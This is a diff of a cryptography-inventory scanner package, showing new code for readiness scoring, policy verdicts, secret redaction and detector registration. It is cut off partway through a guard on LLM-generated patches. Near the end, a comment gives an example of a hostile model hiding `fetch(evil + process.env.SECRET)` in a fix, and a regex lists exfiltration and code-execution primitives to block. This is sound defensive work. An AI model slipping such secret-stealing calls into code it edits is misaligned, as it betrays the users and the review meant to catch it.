@quantakrypto/core 0.4.2 → 0.4.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +38 -10
- package/dist/agent-types.js.map +1 -1
- package/dist/baseline.js.map +1 -1
- package/dist/cache.js.map +1 -1
- package/dist/cbom-merge.d.ts +9 -0
- package/dist/cbom-merge.d.ts.map +1 -0
- package/dist/cbom-merge.js +99 -0
- package/dist/cbom-merge.js.map +1 -0
- package/dist/cbom.js.map +1 -1
- package/dist/changed.js.map +1 -1
- package/dist/codemods/config-toggle.js.map +1 -1
- package/dist/codemods/registry.js.map +1 -1
- package/dist/comments.d.ts +29 -2
- package/dist/comments.d.ts.map +1 -1
- package/dist/comments.js +178 -18
- package/dist/comments.js.map +1 -1
- package/dist/config.js.map +1 -1
- package/dist/cwe.js.map +1 -1
- package/dist/dependencies.d.ts +3 -2
- package/dist/dependencies.d.ts.map +1 -1
- package/dist/dependencies.js +138 -2
- package/dist/dependencies.js.map +1 -1
- package/dist/detect-utils.d.ts +19 -4
- package/dist/detect-utils.d.ts.map +1 -1
- package/dist/detect-utils.js +43 -6
- package/dist/detect-utils.js.map +1 -1
- package/dist/detectors/c.d.ts +4 -2
- package/dist/detectors/c.d.ts.map +1 -1
- package/dist/detectors/c.js +382 -3
- package/dist/detectors/c.js.map +1 -1
- package/dist/detectors/cicd.d.ts +27 -0
- package/dist/detectors/cicd.d.ts.map +1 -0
- package/dist/detectors/cicd.js +116 -0
- package/dist/detectors/cicd.js.map +1 -0
- package/dist/detectors/cloud-kms.d.ts +21 -0
- package/dist/detectors/cloud-kms.d.ts.map +1 -0
- package/dist/detectors/cloud-kms.js +57 -0
- package/dist/detectors/cloud-kms.js.map +1 -0
- package/dist/detectors/cloudformation.d.ts +30 -0
- package/dist/detectors/cloudformation.d.ts.map +1 -0
- package/dist/detectors/cloudformation.js +170 -0
- package/dist/detectors/cloudformation.js.map +1 -0
- package/dist/detectors/csharp.d.ts.map +1 -1
- package/dist/detectors/csharp.js +141 -3
- package/dist/detectors/csharp.js.map +1 -1
- package/dist/detectors/database.d.ts +17 -0
- package/dist/detectors/database.d.ts.map +1 -0
- package/dist/detectors/database.js +60 -0
- package/dist/detectors/database.js.map +1 -0
- package/dist/detectors/dnssec.d.ts +55 -0
- package/dist/detectors/dnssec.d.ts.map +1 -0
- package/dist/detectors/dnssec.js +107 -0
- package/dist/detectors/dnssec.js.map +1 -0
- package/dist/detectors/elixir.d.ts +20 -0
- package/dist/detectors/elixir.d.ts.map +1 -0
- package/dist/detectors/elixir.js +195 -0
- package/dist/detectors/elixir.js.map +1 -0
- package/dist/detectors/go.d.ts +5 -3
- package/dist/detectors/go.d.ts.map +1 -1
- package/dist/detectors/go.js +187 -3
- package/dist/detectors/go.js.map +1 -1
- package/dist/detectors/java.d.ts.map +1 -1
- package/dist/detectors/java.js +169 -4
- package/dist/detectors/java.js.map +1 -1
- package/dist/detectors/jose.d.ts +20 -0
- package/dist/detectors/jose.d.ts.map +1 -0
- package/dist/detectors/jose.js +62 -0
- package/dist/detectors/jose.js.map +1 -0
- package/dist/detectors/jwk.d.ts +25 -0
- package/dist/detectors/jwk.d.ts.map +1 -0
- package/dist/detectors/jwk.js +95 -0
- package/dist/detectors/jwk.js.map +1 -0
- package/dist/detectors/k8s.d.ts +17 -0
- package/dist/detectors/k8s.d.ts.map +1 -0
- package/dist/detectors/k8s.js +85 -0
- package/dist/detectors/k8s.js.map +1 -0
- package/dist/detectors/mesh.d.ts +35 -0
- package/dist/detectors/mesh.d.ts.map +1 -0
- package/dist/detectors/mesh.js +109 -0
- package/dist/detectors/mesh.js.map +1 -0
- package/dist/detectors/messaging.d.ts +16 -0
- package/dist/detectors/messaging.d.ts.map +1 -0
- package/dist/detectors/messaging.js +72 -0
- package/dist/detectors/messaging.js.map +1 -0
- package/dist/detectors/pem.d.ts.map +1 -1
- package/dist/detectors/pem.js +50 -2
- package/dist/detectors/pem.js.map +1 -1
- package/dist/detectors/php.d.ts +24 -0
- package/dist/detectors/php.d.ts.map +1 -0
- package/dist/detectors/php.js +167 -0
- package/dist/detectors/php.js.map +1 -0
- package/dist/detectors/python.d.ts.map +1 -1
- package/dist/detectors/python.js +144 -3
- package/dist/detectors/python.js.map +1 -1
- package/dist/detectors/ruby.d.ts +9 -5
- package/dist/detectors/ruby.d.ts.map +1 -1
- package/dist/detectors/ruby.js +122 -2
- package/dist/detectors/ruby.js.map +1 -1
- package/dist/detectors/rust.d.ts +8 -3
- package/dist/detectors/rust.d.ts.map +1 -1
- package/dist/detectors/rust.js +253 -3
- package/dist/detectors/rust.js.map +1 -1
- package/dist/detectors/secrets.d.ts +21 -0
- package/dist/detectors/secrets.d.ts.map +1 -0
- package/dist/detectors/secrets.js +79 -0
- package/dist/detectors/secrets.js.map +1 -0
- package/dist/detectors/source.d.ts.map +1 -1
- package/dist/detectors/source.js +305 -52
- package/dist/detectors/source.js.map +1 -1
- package/dist/detectors/stateful-hbs.d.ts +22 -0
- package/dist/detectors/stateful-hbs.d.ts.map +1 -0
- package/dist/detectors/stateful-hbs.js +142 -0
- package/dist/detectors/stateful-hbs.js.map +1 -0
- package/dist/detectors/terraform.d.ts +21 -0
- package/dist/detectors/terraform.d.ts.map +1 -0
- package/dist/detectors/terraform.js +123 -0
- package/dist/detectors/terraform.js.map +1 -0
- package/dist/detectors/vpn.d.ts +22 -0
- package/dist/detectors/vpn.d.ts.map +1 -0
- package/dist/detectors/vpn.js +99 -0
- package/dist/detectors/vpn.js.map +1 -0
- package/dist/errors.js.map +1 -1
- package/dist/evidence.d.ts +53 -0
- package/dist/evidence.d.ts.map +1 -0
- package/dist/evidence.js +81 -0
- package/dist/evidence.js.map +1 -0
- package/dist/index.d.ts +9 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +10 -2
- package/dist/index.js.map +1 -1
- package/dist/inventory.d.ts +2 -0
- package/dist/inventory.d.ts.map +1 -1
- package/dist/inventory.js +27 -1
- package/dist/inventory.js.map +1 -1
- package/dist/parallel.js.map +1 -1
- package/dist/patch-policy.js.map +1 -1
- package/dist/policy.d.ts +67 -0
- package/dist/policy.d.ts.map +1 -0
- package/dist/policy.js +115 -0
- package/dist/policy.js.map +1 -0
- package/dist/redact.d.ts.map +1 -1
- package/dist/redact.js +39 -0
- package/dist/redact.js.map +1 -1
- package/dist/registry.d.ts +2 -2
- package/dist/registry.d.ts.map +1 -1
- package/dist/registry.js +34 -2
- package/dist/registry.js.map +1 -1
- package/dist/remediate-pipeline.d.ts +3 -0
- package/dist/remediate-pipeline.d.ts.map +1 -1
- package/dist/remediate-pipeline.js +71 -0
- package/dist/remediate-pipeline.js.map +1 -1
- package/dist/remediate-request.js.map +1 -1
- package/dist/remediation.d.ts +9 -3
- package/dist/remediation.d.ts.map +1 -1
- package/dist/remediation.js +17 -5
- package/dist/remediation.js.map +1 -1
- package/dist/report.d.ts +9 -0
- package/dist/report.d.ts.map +1 -1
- package/dist/report.js +38 -0
- package/dist/report.js.map +1 -1
- package/dist/scan-worker.js.map +1 -1
- package/dist/scan.d.ts.map +1 -1
- package/dist/scan.js +8 -1
- package/dist/scan.js.map +1 -1
- package/dist/severity.js.map +1 -1
- package/dist/standards.d.ts +96 -0
- package/dist/standards.d.ts.map +1 -0
- package/dist/standards.js +107 -0
- package/dist/standards.js.map +1 -0
- package/dist/triage.js.map +1 -1
- package/dist/types.d.ts +2 -2
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js.map +1 -1
- package/dist/verify.js.map +1 -1
- package/dist/version.d.ts +1 -1
- package/dist/version.js +1 -1
- package/dist/version.js.map +1 -1
- package/dist/walk.js.map +1 -1
- package/dist/worktree.js.map +1 -1
- package/package.json +1 -1
- package/src/cbom-merge.ts +116 -0
- package/src/comments.ts +183 -18
- package/src/dependencies.ts +144 -4
- package/src/detect-utils.ts +47 -6
- package/src/detectors/c.ts +411 -5
- package/src/detectors/cicd.ts +158 -0
- package/src/detectors/cloud-kms.ts +87 -0
- package/src/detectors/cloudformation.ts +215 -0
- package/src/detectors/csharp.ts +154 -3
- package/src/detectors/database.ts +88 -0
- package/src/detectors/dnssec.ts +186 -0
- package/src/detectors/elixir.ts +237 -0
- package/src/detectors/go.ts +209 -6
- package/src/detectors/java.ts +191 -4
- package/src/detectors/jose.ts +94 -0
- package/src/detectors/jwk.ts +128 -0
- package/src/detectors/k8s.ts +112 -0
- package/src/detectors/mesh.ts +154 -0
- package/src/detectors/messaging.ts +98 -0
- package/src/detectors/pem.ts +54 -2
- package/src/detectors/php.ts +225 -0
- package/src/detectors/python.ts +153 -3
- package/src/detectors/ruby.ts +138 -7
- package/src/detectors/rust.ts +282 -7
- package/src/detectors/secrets.ts +114 -0
- package/src/detectors/source.ts +382 -72
- package/src/detectors/stateful-hbs.ts +180 -0
- package/src/detectors/terraform.ts +154 -0
- package/src/detectors/vpn.ts +131 -0
- package/src/evidence.ts +135 -0
- package/src/index.ts +15 -1
- package/src/inventory.ts +31 -1
- package/src/policy.ts +180 -0
- package/src/redact.ts +41 -0
- package/src/registry.ts +34 -2
- package/src/remediate-pipeline.ts +78 -0
- package/src/remediation.ts +23 -8
- package/src/report.ts +48 -2
- package/src/scan.ts +13 -1
- package/src/standards.ts +186 -0
- package/src/types.ts +3 -1
- package/src/version.ts +1 -1
package/src/inventory.ts
CHANGED
|
@@ -36,6 +36,34 @@ function penaltyFor(weight: number, occurrence: number): number {
|
|
|
36
36
|
/** Decay constant for the readiness score (larger = more forgiving). */
|
|
37
37
|
const SCORE_SCALE = 100;
|
|
38
38
|
|
|
39
|
+
/**
|
|
40
|
+
* Fraction of the normal penalty a finding in test/fixture/example/doc code
|
|
41
|
+
* contributes to the readiness score. Such findings are almost always test
|
|
42
|
+
* vectors, sample keys, or the library's own algorithm enumerations — accurate
|
|
43
|
+
* detections, but not the deployed crypto whose migration the score is meant to
|
|
44
|
+
* track. Real-repo runs showed 60–77% of findings live in these paths, which
|
|
45
|
+
* dragged the score of no-real-crypto codebases down unfairly. They still appear
|
|
46
|
+
* in the inventory counts in full; only their *score* weight is reduced.
|
|
47
|
+
*/
|
|
48
|
+
const TEST_PATH_WEIGHT = 0.15;
|
|
49
|
+
|
|
50
|
+
/** True when a finding's file path is test / fixture / example / documentation. */
|
|
51
|
+
export function isTestOrFixturePath(file: string): boolean {
|
|
52
|
+
const f = file.toLowerCase().replace(/\\/g, "/");
|
|
53
|
+
if (
|
|
54
|
+
/(?:^|\/)(?:tests?|__tests__|testdata|test-data|fixtures?|examples?|demos?|samples?|specs?|mocks?|docs?|benchmarks?|e2e)\//.test(
|
|
55
|
+
f,
|
|
56
|
+
)
|
|
57
|
+
) {
|
|
58
|
+
return true;
|
|
59
|
+
}
|
|
60
|
+
const base = f.slice(f.lastIndexOf("/") + 1);
|
|
61
|
+
if (/(?:^|[_.-])(?:test|spec)\.[a-z0-9]+$/.test(base)) return true; // test.go, foo_test.go, foo.test.ts
|
|
62
|
+
if (/^test_[^/]+\.py$/.test(base)) return true; // python test_foo.py
|
|
63
|
+
if (/^changelog/.test(base) || /\.(?:md|markdown|rst|adoc|asciidoc)$/.test(base)) return true;
|
|
64
|
+
return false;
|
|
65
|
+
}
|
|
66
|
+
|
|
39
67
|
/**
|
|
40
68
|
* Compute a 0–100 readiness score. 100 means no classical asymmetric crypto was
|
|
41
69
|
* found. Findings accrue a severity-weighted penalty (with per-bucket diminishing
|
|
@@ -58,7 +86,9 @@ export function readinessScore(findings: Finding[]): number {
|
|
|
58
86
|
let penalty = 0;
|
|
59
87
|
for (const f of findings) {
|
|
60
88
|
seen[f.severity] += 1;
|
|
61
|
-
|
|
89
|
+
const weight =
|
|
90
|
+
SEVERITY_WEIGHT[f.severity] * (isTestOrFixturePath(f.location.file) ? TEST_PATH_WEIGHT : 1);
|
|
91
|
+
penalty += penaltyFor(weight, seen[f.severity]);
|
|
62
92
|
}
|
|
63
93
|
|
|
64
94
|
return Math.max(0, Math.min(100, Math.round(100 * Math.exp(-penalty / SCORE_SCALE))));
|
package/src/policy.ts
ADDED
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC
|
|
3
|
+
* 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).
|
|
4
|
+
*
|
|
5
|
+
* An organization supplies a policy listing which classical algorithm families it
|
|
6
|
+
* prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then
|
|
7
|
+
* flags each qScan finding as `conformant` / `violation` / `transition-pending`
|
|
8
|
+
* against that policy — turning the neutral inventory into audit-ready evidence
|
|
9
|
+
* that the org *assesses* its cryptography against a defined policy.
|
|
10
|
+
*
|
|
11
|
+
* Honesty boundary: without a policy the report stays neutral inventory and the
|
|
12
|
+
* ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-
|
|
13
|
+
* list: a classical family not named anywhere defaults to a violation (unmanaged
|
|
14
|
+
* crypto is a policy gap), overridable via `defaultVerdict`.
|
|
15
|
+
*/
|
|
16
|
+
import type { AlgorithmFamily, Finding } from "./types.js";
|
|
17
|
+
|
|
18
|
+
/** The three verdicts a finding can carry against a policy. */
|
|
19
|
+
export type PolicyVerdict = "conformant" | "violation" | "transition-pending";
|
|
20
|
+
|
|
21
|
+
/** The complete set of algorithm families a policy may reference. */
|
|
22
|
+
const ALGORITHM_FAMILIES: readonly AlgorithmFamily[] = [
|
|
23
|
+
"RSA",
|
|
24
|
+
"ECDH",
|
|
25
|
+
"ECDSA",
|
|
26
|
+
"EdDSA",
|
|
27
|
+
"DH",
|
|
28
|
+
"DSA",
|
|
29
|
+
"X25519",
|
|
30
|
+
"X448",
|
|
31
|
+
"ECIES",
|
|
32
|
+
"unknown",
|
|
33
|
+
];
|
|
34
|
+
|
|
35
|
+
/** An organization-supplied cryptography policy (from a JSON file). */
|
|
36
|
+
export interface CryptoPolicy {
|
|
37
|
+
/** Human name / version of the policy, recorded in the evidence report. */
|
|
38
|
+
name?: string;
|
|
39
|
+
/** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */
|
|
40
|
+
permitted?: AlgorithmFamily[];
|
|
41
|
+
/** Families the org prohibits outright → violation. */
|
|
42
|
+
prohibited?: AlgorithmFamily[];
|
|
43
|
+
/** Families being actively migrated, allowed within the window → transition-pending. */
|
|
44
|
+
inTransition?: AlgorithmFamily[];
|
|
45
|
+
/** Optional migration deadline (ISO date / year), recorded for context. */
|
|
46
|
+
transitionDeadline?: string;
|
|
47
|
+
/** Verdict for a family named in none of the lists. Default: `"violation"`. */
|
|
48
|
+
defaultVerdict?: PolicyVerdict;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/** One finding's verdict against the policy. */
|
|
52
|
+
export interface PolicyFindingVerdict {
|
|
53
|
+
ruleId: string;
|
|
54
|
+
algorithm: AlgorithmFamily | "unknown";
|
|
55
|
+
file: string;
|
|
56
|
+
line: number;
|
|
57
|
+
verdict: PolicyVerdict;
|
|
58
|
+
reason: string;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
/** The `policyMapping` block added to the evidence report. */
|
|
62
|
+
export interface PolicyMapping {
|
|
63
|
+
policyName: string | null;
|
|
64
|
+
transitionDeadline: string | null;
|
|
65
|
+
summary: Record<PolicyVerdict, number>;
|
|
66
|
+
findings: PolicyFindingVerdict[];
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
/** Resolve one algorithm family's verdict + a human reason against a policy. */
|
|
70
|
+
export function verdictForAlgorithm(
|
|
71
|
+
algorithm: AlgorithmFamily | undefined,
|
|
72
|
+
policy: CryptoPolicy,
|
|
73
|
+
): { verdict: PolicyVerdict; reason: string } {
|
|
74
|
+
const algo = algorithm ?? "unknown";
|
|
75
|
+
if (policy.prohibited?.includes(algo)) {
|
|
76
|
+
return { verdict: "violation", reason: `${algo} is prohibited by the policy.` };
|
|
77
|
+
}
|
|
78
|
+
if (policy.inTransition?.includes(algo)) {
|
|
79
|
+
return {
|
|
80
|
+
verdict: "transition-pending",
|
|
81
|
+
reason: `${algo} is being migrated (in the policy's transition set).`,
|
|
82
|
+
};
|
|
83
|
+
}
|
|
84
|
+
if (policy.permitted?.includes(algo)) {
|
|
85
|
+
return { verdict: "conformant", reason: `${algo} is permitted by the policy.` };
|
|
86
|
+
}
|
|
87
|
+
const fallback = policy.defaultVerdict ?? "violation";
|
|
88
|
+
return {
|
|
89
|
+
verdict: fallback,
|
|
90
|
+
reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,
|
|
91
|
+
};
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
/**
|
|
95
|
+
* Map every finding to a policy verdict, with per-verdict counts. Deterministic:
|
|
96
|
+
* the same findings + policy always yield the same mapping (safe to hash in the
|
|
97
|
+
* A.8.24 evidence attestation).
|
|
98
|
+
*/
|
|
99
|
+
export function buildPolicyMapping(
|
|
100
|
+
findings: readonly Finding[],
|
|
101
|
+
policy: CryptoPolicy,
|
|
102
|
+
): PolicyMapping {
|
|
103
|
+
const summary: Record<PolicyVerdict, number> = {
|
|
104
|
+
conformant: 0,
|
|
105
|
+
violation: 0,
|
|
106
|
+
"transition-pending": 0,
|
|
107
|
+
};
|
|
108
|
+
const mapped: PolicyFindingVerdict[] = findings.map((f) => {
|
|
109
|
+
const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);
|
|
110
|
+
summary[verdict]++;
|
|
111
|
+
return {
|
|
112
|
+
ruleId: f.ruleId,
|
|
113
|
+
algorithm: f.algorithm ?? "unknown",
|
|
114
|
+
file: f.location.file,
|
|
115
|
+
line: f.location.line,
|
|
116
|
+
verdict,
|
|
117
|
+
reason,
|
|
118
|
+
};
|
|
119
|
+
});
|
|
120
|
+
return {
|
|
121
|
+
policyName: policy.name ?? null,
|
|
122
|
+
transitionDeadline: policy.transitionDeadline ?? null,
|
|
123
|
+
summary,
|
|
124
|
+
findings: mapped,
|
|
125
|
+
};
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
/**
|
|
129
|
+
* Validate + normalize a parsed policy object (from an operator's JSON file).
|
|
130
|
+
* Throws a `TypeError` with a clear message on anything malformed — a bad policy
|
|
131
|
+
* file must fail loudly, never silently degrade the evidence verdict.
|
|
132
|
+
*/
|
|
133
|
+
export function parseCryptoPolicy(raw: unknown): CryptoPolicy {
|
|
134
|
+
if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
|
|
135
|
+
throw new TypeError("crypto policy must be a JSON object");
|
|
136
|
+
}
|
|
137
|
+
const obj = raw as Record<string, unknown>;
|
|
138
|
+
const validFamilies = new Set<string>(ALGORITHM_FAMILIES);
|
|
139
|
+
const list = (key: string): AlgorithmFamily[] | undefined => {
|
|
140
|
+
const v = obj[key];
|
|
141
|
+
if (v === undefined) return undefined;
|
|
142
|
+
if (!Array.isArray(v))
|
|
143
|
+
throw new TypeError(`policy "${key}" must be an array of algorithm families`);
|
|
144
|
+
for (const item of v) {
|
|
145
|
+
if (typeof item !== "string" || !validFamilies.has(item)) {
|
|
146
|
+
throw new TypeError(
|
|
147
|
+
`policy "${key}" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(", ")}`,
|
|
148
|
+
);
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
return v as AlgorithmFamily[];
|
|
152
|
+
};
|
|
153
|
+
const verdicts = new Set<PolicyVerdict>(["conformant", "violation", "transition-pending"]);
|
|
154
|
+
let defaultVerdict: PolicyVerdict | undefined;
|
|
155
|
+
if (obj.defaultVerdict !== undefined) {
|
|
156
|
+
if (
|
|
157
|
+
typeof obj.defaultVerdict !== "string" ||
|
|
158
|
+
!verdicts.has(obj.defaultVerdict as PolicyVerdict)
|
|
159
|
+
) {
|
|
160
|
+
throw new TypeError(`policy "defaultVerdict" must be one of ${[...verdicts].join(", ")}`);
|
|
161
|
+
}
|
|
162
|
+
defaultVerdict = obj.defaultVerdict as PolicyVerdict;
|
|
163
|
+
}
|
|
164
|
+
if (obj.name !== undefined && typeof obj.name !== "string") {
|
|
165
|
+
throw new TypeError('policy "name" must be a string');
|
|
166
|
+
}
|
|
167
|
+
if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== "string") {
|
|
168
|
+
throw new TypeError('policy "transitionDeadline" must be a string');
|
|
169
|
+
}
|
|
170
|
+
return {
|
|
171
|
+
...(obj.name !== undefined ? { name: obj.name as string } : {}),
|
|
172
|
+
...(list("permitted") ? { permitted: list("permitted") } : {}),
|
|
173
|
+
...(list("prohibited") ? { prohibited: list("prohibited") } : {}),
|
|
174
|
+
...(list("inTransition") ? { inTransition: list("inTransition") } : {}),
|
|
175
|
+
...(obj.transitionDeadline !== undefined
|
|
176
|
+
? { transitionDeadline: obj.transitionDeadline as string }
|
|
177
|
+
: {}),
|
|
178
|
+
...(defaultVerdict !== undefined ? { defaultVerdict } : {}),
|
|
179
|
+
};
|
|
180
|
+
}
|
package/src/redact.ts
CHANGED
|
@@ -46,6 +46,43 @@ const TOKEN_PATTERNS: readonly RegExp[] = [
|
|
|
46
46
|
/[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)
|
|
47
47
|
];
|
|
48
48
|
|
|
49
|
+
/** Shannon entropy of a string, in bits per character. */
|
|
50
|
+
function shannonEntropy(s: string): number {
|
|
51
|
+
const freq = new Map<string, number>();
|
|
52
|
+
for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);
|
|
53
|
+
let e = 0;
|
|
54
|
+
for (const n of freq.values()) {
|
|
55
|
+
const p = n / s.length;
|
|
56
|
+
e -= p * Math.log2(p);
|
|
57
|
+
}
|
|
58
|
+
return e;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
/**
|
|
62
|
+
* Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}
|
|
63
|
+
* above miss (custom / novel key formats not tied to a known vendor prefix).
|
|
64
|
+
* Best-effort and biased toward over-redaction (safe): only a *long*,
|
|
65
|
+
* *high-entropy*, *charset-diverse* run is replaced, so ordinary code
|
|
66
|
+
* identifiers, words, and prose are left intact for the LLM to work with.
|
|
67
|
+
*/
|
|
68
|
+
const HIGH_ENTROPY_RUN = /[A-Za-z0-9_\-+/=.]{24,256}/g;
|
|
69
|
+
function redactHighEntropy(text: string): { text: string; redacted: boolean } {
|
|
70
|
+
let redacted = false;
|
|
71
|
+
const out = text.replace(HIGH_ENTROPY_RUN, (m) => {
|
|
72
|
+
const classes =
|
|
73
|
+
(/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);
|
|
74
|
+
const hasSpecial = /[+/=_-]/.test(m);
|
|
75
|
+
// Random secrets are charset-diverse AND high-entropy; identifiers usually
|
|
76
|
+
// fail one of these (an identifier has repetition / structure → lower entropy).
|
|
77
|
+
if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {
|
|
78
|
+
redacted = true;
|
|
79
|
+
return REDACTED;
|
|
80
|
+
}
|
|
81
|
+
return m;
|
|
82
|
+
});
|
|
83
|
+
return { text: out, redacted };
|
|
84
|
+
}
|
|
85
|
+
|
|
49
86
|
/** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of
|
|
50
87
|
* a missing END marker — a truncated key is still fully redacted). */
|
|
51
88
|
function redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {
|
|
@@ -94,6 +131,10 @@ function stripSecrets(text: string): { text: string; redacted: boolean } {
|
|
|
94
131
|
return REDACTED;
|
|
95
132
|
});
|
|
96
133
|
}
|
|
134
|
+
// Best-effort entropy catch-all for novel token shapes the named patterns miss.
|
|
135
|
+
const ent = redactHighEntropy(out);
|
|
136
|
+
out = ent.text;
|
|
137
|
+
redacted = redacted || ent.redacted;
|
|
97
138
|
result = { text: out, redacted };
|
|
98
139
|
} catch {
|
|
99
140
|
result = { text: REDACTED, redacted: true };
|
package/src/registry.ts
CHANGED
|
@@ -18,8 +18,24 @@ import { javaDetector } from "./detectors/java.js";
|
|
|
18
18
|
import { csharpDetector } from "./detectors/csharp.js";
|
|
19
19
|
import { rustDetector } from "./detectors/rust.js";
|
|
20
20
|
import { rubyDetector } from "./detectors/ruby.js";
|
|
21
|
+
import { phpDetector } from "./detectors/php.js";
|
|
22
|
+
import { elixirDetector } from "./detectors/elixir.js";
|
|
21
23
|
import { cDetector } from "./detectors/c.js";
|
|
22
24
|
import { pemDetector } from "./detectors/pem.js";
|
|
25
|
+
import { jwkDetector } from "./detectors/jwk.js";
|
|
26
|
+
import { terraformDetector } from "./detectors/terraform.js";
|
|
27
|
+
import { cloudKmsDetector } from "./detectors/cloud-kms.js";
|
|
28
|
+
import { cicdDetector } from "./detectors/cicd.js";
|
|
29
|
+
import { secretsDetector } from "./detectors/secrets.js";
|
|
30
|
+
import { joseDetector } from "./detectors/jose.js";
|
|
31
|
+
import { k8sDetector } from "./detectors/k8s.js";
|
|
32
|
+
import { messagingDetector } from "./detectors/messaging.js";
|
|
33
|
+
import { databaseDetector } from "./detectors/database.js";
|
|
34
|
+
import { cloudformationDetector } from "./detectors/cloudformation.js";
|
|
35
|
+
import { meshDetector } from "./detectors/mesh.js";
|
|
36
|
+
import { dnssecDetector } from "./detectors/dnssec.js";
|
|
37
|
+
import { vpnDetector } from "./detectors/vpn.js";
|
|
38
|
+
import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
|
|
23
39
|
|
|
24
40
|
/** Normalised scope of a detector (defaults to "source" when undeclared). */
|
|
25
41
|
export function detectorScope(d: Detector): DetectorScope {
|
|
@@ -111,8 +127,8 @@ export class DetectorRegistry {
|
|
|
111
127
|
/**
|
|
112
128
|
* The built-in detectors, in run order: the JS/TS source + config detectors,
|
|
113
129
|
* then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
|
|
114
|
-
* then the language-agnostic PEM
|
|
115
|
-
* handled separately by `scan()`.
|
|
130
|
+
* then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
|
|
131
|
+
* manifest (dependency) scanner is handled separately by `scan()`.
|
|
116
132
|
*
|
|
117
133
|
* This is the single source of truth for the default detector set: both
|
|
118
134
|
* {@link defaultRegistry} and the public `detectors` export (re-exported from
|
|
@@ -126,8 +142,24 @@ export const builtinDetectors: Detector[] = [
|
|
|
126
142
|
csharpDetector,
|
|
127
143
|
rustDetector,
|
|
128
144
|
rubyDetector,
|
|
145
|
+
phpDetector,
|
|
146
|
+
elixirDetector,
|
|
129
147
|
cDetector,
|
|
130
148
|
pemDetector,
|
|
149
|
+
jwkDetector,
|
|
150
|
+
terraformDetector,
|
|
151
|
+
cloudKmsDetector,
|
|
152
|
+
cicdDetector,
|
|
153
|
+
secretsDetector,
|
|
154
|
+
joseDetector,
|
|
155
|
+
k8sDetector,
|
|
156
|
+
messagingDetector,
|
|
157
|
+
databaseDetector,
|
|
158
|
+
cloudformationDetector,
|
|
159
|
+
meshDetector,
|
|
160
|
+
dnssecDetector,
|
|
161
|
+
vpnDetector,
|
|
162
|
+
statefulHbsDetector,
|
|
131
163
|
];
|
|
132
164
|
|
|
133
165
|
/**
|
|
@@ -45,6 +45,75 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
|
|
|
45
45
|
return targetGone && noNewRuleTypes && after.length < before.length;
|
|
46
46
|
}
|
|
47
47
|
|
|
48
|
+
/**
|
|
49
|
+
* Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
|
|
50
|
+
* introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
|
|
51
|
+
* the rest of a full-file rewrite, so an injected/hostile model could drop the
|
|
52
|
+
* RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
|
|
53
|
+
* runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
|
|
54
|
+
*/
|
|
55
|
+
// Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix
|
|
56
|
+
// (idiomatic modern Node — the bare-only form was bypassable) and in BOTH
|
|
57
|
+
// require()/import() call forms AND static `import … from "…"` — the static
|
|
58
|
+
// form has no parens so the old dynamic-only pattern missed it entirely.
|
|
59
|
+
const SINK_MODULES = "child_process|http|https|http2|net|tls|dns|dgram";
|
|
60
|
+
const NEW_SINK_RE = new RegExp(
|
|
61
|
+
"\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime" +
|
|
62
|
+
`|require\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
|
|
63
|
+
`|import\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
|
|
64
|
+
`|import\\s+[^;\\n]{0,200}?from\\s*['"](?:node:)?(?:${SINK_MODULES})['"])`,
|
|
65
|
+
"g",
|
|
66
|
+
);
|
|
67
|
+
/** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */
|
|
68
|
+
const NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);
|
|
69
|
+
|
|
70
|
+
/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
|
|
71
|
+
* is localized; a sprawling rewrite is not reviewable as "just the fix". */
|
|
72
|
+
export const LLM_PATCH_MAX_CHANGED_LINES = 60;
|
|
73
|
+
|
|
74
|
+
function countMatches(re: RegExp, s: string): number {
|
|
75
|
+
